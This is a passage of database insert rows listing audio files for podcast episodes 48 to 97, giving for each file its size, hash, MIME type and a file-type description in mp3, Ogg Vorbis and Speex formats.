(48,'hpr0048.ogg','ogg',10505035,'de004a723be9f0d174ede888b83939b79df9dc56','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(48,'hpr0048.spx','spx',3403407,'7aa59abc8f3c55316c4c8145d01fe5a2d6aaf564','application/ogg; charset=binary','Ogg data, Speex audio'),
(49,'hpr0049.mp3','mp3',10266483,'a0e173002b040ef9363431805d424c961b410699','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(49,'hpr0049.ogg','ogg',7436511,'6a0fd074693f8394f0f305e5e367440c6fd30deb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(49,'hpr0049.spx','spx',2357356,'4a00deda14e7e33e308439aaa701eed18c3e8399','application/ogg; charset=binary','Ogg data, Speex audio'),
(50,'hpr0050.mp3','mp3',11132032,'631eecb24fe510e91b827af686e067027bc446d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  32 kbps, 22.05 kHz, JntStereo'),
(50,'hpr0050.ogg','ogg',12654680,'ac2b41de600dcdc0ee4e2d8d564b6055d9c3ba2e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(50,'hpr0050.spx','spx',10222201,'7907dec64132b16954d71f2ccd66ae0c51707a0e','application/ogg; charset=binary','Ogg data, Speex audio'),
(51,'hpr0051.mp3','mp3',5578190,'3aa37554f10f75ec0d4a7ca1f3ae6f2f9559d7d9','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(51,'hpr0051.ogg','ogg',4958999,'4be22b35657ac52532979296e512e969faa26618','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(51,'hpr0051.spx','spx',2561108,'70782b8498a3ac930a2d4e1a9712fa9ae44199f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(52,'hpr0052.mp3','mp3',34763508,'5346f8c34751879253399191402287a5ae8da2c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(52,'hpr0052.ogg','ogg',20759233,'d469f4616a086ec60d73eb3ee795f446296b04a5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(52,'hpr0052.spx','spx',7981986,'0bf276ff39b1bd7913a88ffe19f95993b72e9e09','application/ogg; charset=binary','Ogg data, Speex audio'),
(53,'hpr0053.mp3','mp3',10475844,'01bf4b9248f4c6cf505fa61e8f4d812c7d034273','audio/mpeg; charset=binary','Audio file with ID3 version 2.2.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, JntStereo'),
(53,'hpr0053.ogg','ogg',10866858,'982a517232575715af9c981dcf6d80e1bb1391a9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(53,'hpr0053.spx','spx',3847919,'25eac253b954d0ea704e63e329799fb90d53cca5','application/ogg; charset=binary','Ogg data, Speex audio'),
(54,'hpr0054.mp3','mp3',6540803,'042c882539bf9fb17217561ecaa01845eaedc947','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(54,'hpr0054.ogg','ogg',5229500,'abb48cbd35bce863d479c45ae92958d59465e69b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(54,'hpr0054.spx','spx',1501909,'4edd002608039c73e03cf23ec27557d3bcbd5cfe','application/ogg; charset=binary','Ogg data, Speex audio'),
(55,'hpr0055.mp3','mp3',15080698,'2e5fbf83d9b0a3f08800cec73ab5cbe908a8cb51','audio/mpeg; charset=binary','Audio file with ID3 version 2.2.0MPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, JntStereo'),
(55,'hpr0055.ogg','ogg',3446968,'d1cad2c08ab249ad4e0eb0f2850885a4cb422c5f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(55,'hpr0055.spx','spx',3462112,'0da7da4b55473cfde312f134dac7326e7ef187a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(56,'hpr0056.mp3','mp3',7306971,'b8988d55fa330fbeed4675c6b6bcee97e205cb85','application/octet-stream; charset=binary','data'),
(56,'hpr0056.ogg','ogg',6528305,'36d0c5199229fb02352b593434a246f0b1a8c417','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(56,'hpr0056.spx','spx',2237026,'0cc69fa9d1afa21607a3d08a902a745bd4707533','application/ogg; charset=binary','Ogg data, Speex audio'),
(57,'hpr0057.mp3','mp3',13432604,'3d7b73f4a82ebf8a8e651291322945f82ba2be37','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(57,'hpr0057.ogg','ogg',11901597,'7fa26e78f742c65ea6f69c24c42a82562f22e7b4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(57,'hpr0057.spx','spx',4111982,'cecaed5b58e14092205d6b4949a961e7d6ad3006','application/ogg; charset=binary','Ogg data, Speex audio'),
(58,'hpr0058.mp3','mp3',24732171,'905766f083362740772aa493d1918cd077755533','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(58,'hpr0058.ogg','ogg',12625460,'b06569334ab4b136a1b8cdb7e65edf2dd8b05f10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(58,'hpr0058.spx','spx',5535493,'a023498837272131bc5932ae0dd4bf0ee9d4d1db','application/ogg; charset=binary','Ogg data, Speex audio'),
(59,'hpr0059.mp3','mp3',4762129,'3464b5489aa25165ad103b7fc4bd1a3a4cbdf213','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Stereo'),
(59,'hpr0059.ogg','ogg',5084457,'ba4b630a31d958de7d2bc3afa8598015a6312025','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(59,'hpr0059.spx','spx',2186916,'165bef3ade364075ecc806b916eebe1570b4514c','application/ogg; charset=binary','Ogg data, Speex audio'),
(60,'hpr0060.mp3','mp3',8166541,'d645536e37b21f696c8f519b0452c5110e94ff23','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(60,'hpr0060.ogg','ogg',4180088,'d5bc827d32ea05d0f74c7725a15db46e53eaf447','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(60,'hpr0060.spx','spx',1823709,'2393ff7b019929db233636edd465ba8d69fce83c','application/ogg; charset=binary','Ogg data, Speex audio'),
(61,'hpr0061.mp3','mp3',7207872,'c1493815795e4f89135aeba2150d4011a2e720ee','application/octet-stream; charset=binary','data'),
(61,'hpr0061.ogg','ogg',6120768,'aa82dddf43478b5151c0afc42745cda48299dece','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(61,'hpr0061.spx','spx',3310030,'d179d2e9484cd63f685e6343cf944f6eed51193f','application/ogg; charset=binary','Ogg data, Speex audio'),
(62,'hpr0062.mp3','mp3',10594969,'f98d63c8fe34d83122f9cfc3e85272ce2c63ea34','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Stereo'),
(62,'hpr0062.ogg','ogg',7330400,'d655d8542525b5179d259a685262d69050b435d5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(62,'hpr0062.spx','spx',4865457,'eecca426e369c981d1c1a62b2d4fb17128aa9ad8','application/ogg; charset=binary','Ogg data, Speex audio'),
(63,'hpr0063.mp3','mp3',8873417,'07da50cca736f0d857a09eeefc52dd7d1debba42','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(63,'hpr0063.ogg','ogg',6169532,'3f00c83b006fdb06b390e5a5a35779b31e9916e3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(63,'hpr0063.spx','spx',2037535,'ac7b89aae1229dfd1f4bd516e2c171b70188de36','application/ogg; charset=binary','Ogg data, Speex audio'),
(64,'hpr0064.mp3','mp3',5788899,'274f8cce08bf54d505bd66feb6dc504ec4637c65','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(64,'hpr0064.ogg','ogg',5083713,'213862a85637be5fa546d2cd9256d82fd498a651','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(64,'hpr0064.spx','spx',1329252,'f717c6524ad115b0f12348ae0e5d5cb3906e3434','application/ogg; charset=binary','Ogg data, Speex audio'),
(65,'hpr0065.mp3','mp3',13841033,'8c1312472e6b7bc3a1f562192d3b5aae202bfef1','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(65,'hpr0065.ogg','ogg',10928675,'ec7043b00a706a6a5f3cdbcd57367553f12791fc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(65,'hpr0065.spx','spx',3177839,'70d1da627146bab249b4ef396e5ca2a1c798e148','application/ogg; charset=binary','Ogg data, Speex audio'),
(66,'hpr0066.mp3','mp3',14367915,'226e55ed556842ed1a6c71163178268583f20e6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(66,'hpr0066.ogg','ogg',3144670,'3d703ce162fe4ec0ae6245ae4850bcd95df6d4c3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(66,'hpr0066.spx','spx',3298926,'01ff09568edacc076b2f22495ea07d80ad80d391','application/ogg; charset=binary','Ogg data, Speex audio'),
(67,'hpr0067.mp3','mp3',12600343,'d444f07089d28c06d7c83ccdb7d3fd689e769dc2','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(67,'hpr0067.ogg','ogg',8348130,'3ec1d5e16d8cbf0a65c6d403224ae8e4bbc1522a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(67,'hpr0067.spx','spx',2893347,'51435b2ce3e06d63c6f8415cb806a711779945bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(68,'hpr0068.mp3','mp3',10853287,'c00fb2d1e9a1e885eb174dae4e0448bdca8f0a94','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(68,'hpr0068.ogg','ogg',8349866,'79cf032042d4858dee1ace65ab4bce9c7f686d14','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(68,'hpr0068.spx','spx',2492129,'9e27911c1be3151d509cdcd7893d64f99cea908b','application/ogg; charset=binary','Ogg data, Speex audio'),
(69,'hpr0069.mp3','mp3',47824344,'462a2457d6eca256de1e090df5a53ee0ea3259bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(69,'hpr0069.ogg','ogg',10520935,'53ae90b5522f126be5d96e6100ebcde74a809bc4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(69,'hpr0069.spx','spx',10980667,'a9ea358a24c1cf7b87b9fb8e76aba96bc11fbfde','application/ogg; charset=binary','Ogg data, Speex audio'),
(70,'hpr0070.mp3','mp3',8249157,'d05838f54dc125e13413d3fc1b1f8e578a6d1b19','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(70,'hpr0070.ogg','ogg',8699040,'bf5a592ebac1d582c1427a9fd89e299cc51148f8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(70,'hpr0070.spx','spx',3683888,'2a86c73ed2b9ffe9ab98a7118078cddf98cb1946','application/ogg; charset=binary','Ogg data, Speex audio'),
(71,'hpr0071.mp3','mp3',9665469,'3a52029c3bc9744a6055ca2092987e07730ca387','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(71,'hpr0071.ogg','ogg',7568477,'05c8ebc3083121a56f6a22e051ca7ee01c7c7d23','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(71,'hpr0071.spx','spx',2219371,'5a61f0d73c3ccea2a4c62c5dea3c6c865e6ca0c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(72,'hpr0072.mp3','mp3',10736832,'9d42bf3f2699cdc1cb82758115a4337acecb8299','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(72,'hpr0072.ogg','ogg',7388564,'bb257b44d72701413a9e204fd80d944fcfc691f2','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(72,'hpr0072.spx','spx',4930129,'737dd0b1777b1e1bf4d2aca79eaa3a40f423792f','application/ogg; charset=binary','Ogg data, Speex audio'),
(73,'hpr0073.mp3','mp3',3908922,'4bd3c55711d706f2a443bd9c64d566bbc25373fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(73,'hpr0073.ogg','ogg',2971990,'4bae6c1d232231bce05d9e60e5539a059769af96','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(73,'hpr0073.spx','spx',897596,'a6ff8cab3d61f629c0f053d15c71abae34a11603','application/ogg; charset=binary','Ogg data, Speex audio'),
(74,'hpr0074.mp3','mp3',160219369,'cbb16bea901683e71119920cf38b688b1228cd6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(74,'hpr0074.ogg','ogg',95967400,'de9cb302c1bbec8caaf570bd936535e46c36f1f6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(74,'hpr0074.spx','spx',36787342,'2c7a6f4d704daed25ab65dee67cd34a228d49070','application/ogg; charset=binary','Ogg data, Speex audio'),
(75,'hpr0075.mp3','mp3',9484486,'361e6b683bbe44ce194da28f7277c34093f69a79','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(75,'hpr0075.ogg','ogg',7332221,'67cb392c04fe0881725b4b652dee059f1d6b6d80','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(75,'hpr0075.spx','spx',2177783,'a1ef2724a744d47ab3504290a91806c878adb66b','application/ogg; charset=binary','Ogg data, Speex audio'),
(76,'hpr0076.mp3','mp3',5121569,'974469d1dd0f0bdd3ec0db78d53625f04b5cd74c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(76,'hpr0076.ogg','ogg',4416693,'e06d47ea75de82052bd594d608c36db1ce6f3e7b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(76,'hpr0076.spx','spx',1175902,'55287e719b7fe13e00686f395ea3c136f999cefd','application/ogg; charset=binary','Ogg data, Speex audio'),
(77,'hpr0077.mp3','mp3',23043513,'d1622fa98331c2e9bedbd74bb9135c860d3c3048','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(77,'hpr0077.ogg','ogg',17268432,'c4e1c54cccf00df6a6f3f1d27ea73e8cc65ae38d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(77,'hpr0077.spx','spx',5291027,'19cceac9ea038dcd477a757aef3506eb3750b782','application/ogg; charset=binary','Ogg data, Speex audio'),
(78,'hpr0078.mp3','mp3',31300618,'3ec935facb3c6d8839338af7029302fcbca82d2e','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(78,'hpr0078.ogg','ogg',28020584,'df963b95f8ae8979b15e74077f10f498df54626e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(78,'hpr0078.spx','spx',9581218,'3947fe8ee17ec6e3ed41288f75e7cf98cdfa8bca','application/ogg; charset=binary','Ogg data, Speex audio'),
(79,'hpr0079.mp3','mp3',2406737,'e063895a42038d8153b9f0354b5bb090eac2a240','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(79,'hpr0079.ogg','ogg',1948921,'380d893b38d43d17bf9963938c9b03d8136fcaf4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(79,'hpr0079.spx','spx',552839,'fd050a07232d1ad1a91bb20f990b6882d6e4b1f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(80,'hpr0080.mp3','mp3',14000734,'f109fab5995023e3ea36727fc09ae3b468f7d082','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(80,'hpr0080.ogg','ogg',14495824,'f57ab822985400c1df92491feb933284a0efd666','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(80,'hpr0080.spx','spx',6429287,'daf2d2b97e02e62e68eaf2077839260af16c37ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(81,'hpr0081.mp3','mp3',19186615,'edd2b5f1631f78644950570ebecd1f2f872a9087','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(81,'hpr0081.ogg','ogg',14039211,'8a2392c363e606468daa74b1a5f66d26bfc9913d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(81,'hpr0081.spx','spx',4405434,'52e603e8c7d3ef8e2a7ab00d5fafadf555f46238','application/ogg; charset=binary','Ogg data, Speex audio'),
(82,'hpr0082.mp3','mp3',15648290,'fffde6fe6474abb1149c4f69350bafc93572d34c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(82,'hpr0082.ogg','ogg',12780303,'ed99dfaeb7e0b4e79a2652da941912723ae1125f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(82,'hpr0082.spx','spx',4790000,'63672905df85174a48751bab16530d110c79036d','application/ogg; charset=binary','Ogg data, Speex audio'),
(83,'hpr0083.mp3','mp3',8097312,'436789db8328ec35f21b42b4279f26ff9f47325b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, JntStereo'),
(83,'hpr0083.ogg','ogg',7219763,'08aa99a247415301cb3d1149fbcddffeea4d2351','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 24000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(83,'hpr0083.spx','spx',3718018,'7ebdc481ec3c8f3341d0c79b40877c3a208012ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(84,'hpr0084.mp3','mp3',34201706,'24292b1180f94e85946a4f3c08858186abbc49a3','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(84,'hpr0084.ogg','ogg',43682954,'31cbab6fa32ae93f4d9beacda1f3b10cf7f7305f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(84,'hpr0084.spx','spx',15705415,'04b84a0a0fe35afc79b69378ae6c2f7b10e4c561','application/ogg; charset=binary','Ogg data, Speex audio'),
(85,'hpr0085.mp3','mp3',1550736,'c830b42dbd2d635c3d11e10bd51b71b2123447ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(85,'hpr0085.ogg','ogg',1604193,'07904f09e36dd2b22a1508ea665e77ec2108204c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(85,'hpr0085.spx','spx',1377239,'89ca996c4a5ce241d0b9ac9bd0c8b2c122497365','application/ogg; charset=binary','Ogg data, Speex audio'),
(86,'hpr0086.mp3','mp3',19905204,'603d6a9ab0e96cfff028d414ef42f0bc732888f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(86,'hpr0086.ogg','ogg',15000663,'65c0549ae6da74e18c1b3182d8572d2e121f9d91','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(86,'hpr0086.spx','spx',6093125,'0bc676ef7ffd4e166c7515071b7c14608f320957','application/ogg; charset=binary','Ogg data, Speex audio'),
(87,'hpr0087.mp3','mp3',10160734,'89965a6be110e069ba2b81db4a52c16a052dce10','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(87,'hpr0087.ogg','ogg',10428620,'d6d41837cbab93fd8192ad22f28c48fe645858bf','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(87,'hpr0087.spx','spx',4665920,'6246c1becd1aaa0fc2b676c2928c504114f4c5fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(88,'hpr0088.mp3','mp3',6566139,'e210e9c948aa934e5273cb288aa061a43d25078f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(88,'hpr0088.ogg','ogg',6691155,'05b9d8dc7abcecb8d50ee49cc649081c4983341f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(88,'hpr0088.spx','spx',2932162,'4111a02376990de9104ba46f9105a2b4b8943c2c','application/ogg; charset=binary','Ogg data, Speex audio'),
(89,'hpr0089.mp3','mp3',21999178,'90fdbc904cd9f81919255d78cffd8a822d7b5e3f','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(89,'hpr0089.ogg','ogg',13595033,'308b1124524b345ccd3073cd382be2781d8dfa05','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(89,'hpr0089.spx','spx',5050997,'a8a07a2622a32a66b786532f81c8a2bab68521d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(90,'hpr0090.mp3','mp3',20960775,'0f536fee312f97049ea480229e550bf9dd4c1487','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(90,'hpr0090.ogg','ogg',12808075,'eaba7fc592e1341371b9018278a8305770312419','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(90,'hpr0090.spx','spx',4812865,'cf927194ae48dd82ca809c21bb250926fde087ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(91,'hpr0091.mp3','mp3',6033346,'d223539366ecf578745e39084a0d08f797341dd4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(91,'hpr0091.ogg','ogg',6181908,'e7cff6cf4c7334555f50dcbf45b73e1412c2e3f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(91,'hpr0091.spx','spx',2694291,'b144e1070dd9be6ca7e70a8a4f3d184905f8b412','application/ogg; charset=binary','Ogg data, Speex audio'),
(92,'hpr0092.mp3','mp3',3537936,'8288ac572e303e0407a01eb38c0ca042692f2014','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(92,'hpr0092.ogg','ogg',2784526,'0836e04ce98fdea0bb83ea5473765303ce0fa6c9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(92,'hpr0092.spx','spx',2836275,'bc5e34013d9f132f939338d4ff0397ee695f9e4e','application/ogg; charset=binary','Ogg data, Speex audio'),
(93,'hpr0093.mp3','mp3',10192896,'c8aad157e528505254995ef6b45ac51ca4943046','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(93,'hpr0093.ogg','ogg',10138195,'18bea2f328a02daeab1abf6743bbaf7ed1d922be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(93,'hpr0093.spx','spx',5993830,'14e095d51677e8d7f2e690aff1d90a69eba09232','application/ogg; charset=binary','Ogg data, Speex audio'),
(94,'hpr0094.mp3','mp3',29093847,'f02125e9f40c61e99a88d47558eb095fa4787671','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(94,'hpr0094.ogg','ogg',18107011,'3cac88201bdd44711fc430b099376c0db607de16','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(94,'hpr0094.spx','spx',6680348,'38a6b0c8f62ed5b6d320e2f26a00cf1c201dde07','application/ogg; charset=binary','Ogg data, Speex audio'),
(95,'hpr0095.mp3','mp3',18871945,'ce9cb1d08b8070c40b2df41bdabaa6bb3d67734a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(95,'hpr0095.ogg','ogg',13653354,'7b95f04e2ff9853e2396137df257435d282f0352','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(95,'hpr0095.spx','spx',4333216,'5b643c84fa34ccdb940516523566634a74e09358','application/ogg; charset=binary','Ogg data, Speex audio'),
(96,'hpr0096.mp3','mp3',5682052,'7406e9cd119e384c5789515be062bead5dad0916','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(96,'hpr0096.ogg','ogg',4236915,'cf4a543b5be185d7ba48e1c3b593d046fe08492c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(96,'hpr0096.spx','spx',2608855,'b35cb3ac0dbd3f997842967618dbbac5f3e24053','application/ogg; charset=binary','Ogg data, Speex audio'),
(97,'hpr0097.mp3','mp3',27240388,'8dd9b856abd45840406692afa7ffb197381b2738','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(97,'hpr0097.ogg','ogg',16285140,'b30824156891bf15695bad7abd2b25a8f7b17822','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
